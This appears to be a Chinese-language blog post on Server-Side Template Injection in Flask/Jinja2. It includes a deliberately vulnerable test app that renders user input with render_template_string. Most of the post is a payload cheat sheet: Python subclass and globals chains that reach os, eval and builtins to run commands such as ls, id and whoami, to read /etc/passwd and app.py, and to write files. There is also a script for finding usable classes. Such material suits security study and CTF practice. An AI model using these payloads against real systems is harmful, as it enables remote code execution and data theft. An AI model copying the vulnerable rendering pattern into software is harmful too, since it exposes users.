SSTI模板注入 | No_Bypass
SSTI模板注入
一些概念
模板注入
模板
可以理解为是一段固定好格式,并等着你来填充信息的文件,模板注入
就是指将一串指令代替变量传入模板中让它执行
装饰器
先了解了一下装饰器的概念
@app.route也是一个装饰器, 作用是把函数和URL绑定
渲染
- render_template 用来渲染一个指定的文件的
- render_template_string 用来渲染一个字符串
模板
Flask使用Jinja2渲染引擎,以{{}}
作为变量包裹的标识符同时,这个符号包裹内还可以执行一些简单的表达式, 模板引擎会对输入变量进行编码转义
-
识别不同模板
测试代码
import flask
app = flask.Flask(__name__)
# @app.route('/<path:id>')
@app.route('/')
def test():
id=flask.request.args.get('id')
return flask.render_template_string("<h1>Hello, "+id+"</h1>")
if __name__ == '__main__':
app.run(debug=True)
Python对象的魔术方法:
__class__ 返回类型所属的对象
// __base__和__mro__都是用来寻找基类的
__mro__ 返回一个包含对象所继承的基类元组和方法在解析时按照元组的顺序解析。(继承链)
__base__ 返回该对象所继承的基类
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
//通过以上几个魔法函数找到可利用的模块和object父类
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
//__dir__()和__dict__可以帮助我们找到需要类方法
__dir__() 更多的可以参考这个文章类特殊成员/函数https://www.cnblogs.com/twotigers/p/7779501.html
__dict__ 为了方便用户查看类中包含哪些属性,Python 类提供了 __dict__ 属性。需要注意的一点是,该属性可以用类名或者类的实例对象来调用,用类名直接调用 __dict__,会输出该由类中所有类属性组成的字典;而使用类的实例对象调用 __dict__,会输出由类中所有实例属性组成的字典。
//__getattribute__可用于获得一个具体的对象
__getattribute__ 相似的还有 __getattr__、getattr函数,它们自己的区别就是getattr相当于class.attr,都`获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错
//builtins、builtin与builtins
builtin、builtins, __builtin__与__builtins__的区别:在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr、open。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块。
在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看(我使用python3搜索__builtin__确实没结果)
通过以上几个魔法函数找到可利用的模块
找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块
#获取''字符串的所属对象
>>> ''.__class__
<class 'str'>
#获取str类的父类
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
#获取object类的所有子类
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...
#有很多类,后面省略
_dict_
Flask的一些全局变量 && 关键字
{{config}}
{{requests}}
{{requests.environ}}
{{self}}
{{url_for}}
{{get_flashed_messages}}
{{url_for.__globals__["os"].system('calc')}}
寻找可利用模块
寻找指定模块脚本(这个可以使用一下一个小工具)
moudle_name = input("input your moudle_name $:")
for num,item in zip(range(1000),''.__class__.__mro__[1].__subclasses__()):
try:
if moudle_name in item.__init__.__globals__: print (num,item)
# print(item.__init__.__globals__)
except: pass
# 寻找目标类下标的命令:[].__class__.__base__.__subclasses__().index(<class_name>)
通过Flask模板使用模块
使用类的指定模块(如os)
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
上面的语句相当于os我们便可像往常用os来使用了,比如使用os模块的listdir
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir("./")
# 等同于使用os.listdir("./")
一些可用的函数&&模块
执行命令示例:
''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')
以下是一些可选的执行命令/读取文件
的方式 :
命令执行
_ import _()函数
__import__("os").system("ls")
timeit模块
import timeit
timeit.timeit("__import__('os').system('ls')",number=1)
exec(),eval(),execfile(),compile()函数
eval('__import__("os").system("ls")')
exec("a+1")
compile('a = 1 + 2', '<string>', 'exec')
execfile() #只存在于Python2,Python3没有该函数
platform模块
import platform
platform.popen('dir').read()
os模块
import os
os.system('ls')
os.popen("ls").read()
包含os模块的类:
<class 'site._Printer'>
<class 'site.Quitter'>
os.system 退出状态码
os.popen 以file形式返回输出内容
subprocess模块
import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
importlib模块
import importlib
importlib.import_module('os').system('ls')
#Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')
文件读取
file()函数
file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在
open()函数
open('text.txt').read()
codecs模块
import codecs
codecs.open('test.txt').read()
get_data()函数
# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")
写文件
object.__subclasses__()[40]('/tmp').write('test')
一些常用payload:
>>>''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
>>>''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
//想要获取命令执行结果可以在后面加上.read()
>>>''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
--------------------------------
>>>object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
>>>object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
>>>object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
>>>object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
>>>object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
--------------------------------
{{''.__class__.__mro__[-1].__subclasses__()[200]('calc') }}
其中的xxxx可以为任意字符
{{''.__class__.__mro__[-1].__subclasses__().xxxx.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()") }}
{{''.__class__.__mro__[-1].__subclasses__().xxxx.__init__.__globals__.__builtins__.exec("__import__('os').popen('calc').read()") }} #本地测试不知道为什么执行whoami只会返回None
补充:
内置函数:get_flashed_messages(), url_for()
url_for()
一般我们通过一个URL就可以执行到某一个函数。如果反过来,我们知道一个函数,怎么去获得这个URL呢?url_for函数就可以帮我们实现这个功能。url_for()函数接收两个及以上的参数,他接收函数名作为第一个参数,接收对应URL规则的命名参数,如果还出现其他的参数,则会添加到URL的后面作为查询参数。
get_flashed_messages()
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
参考文章:
https://www.jianshu.com/p/b6f1aea3a2eb
https://www.cnblogs.com/NPFS/p/12764599.html
https://blog.csdn.net/qq_45951598/article/details/110489314 (flask模板注入)
https://blog.csdn.net/zss192/article/details/104200493 (python沙箱逃逸)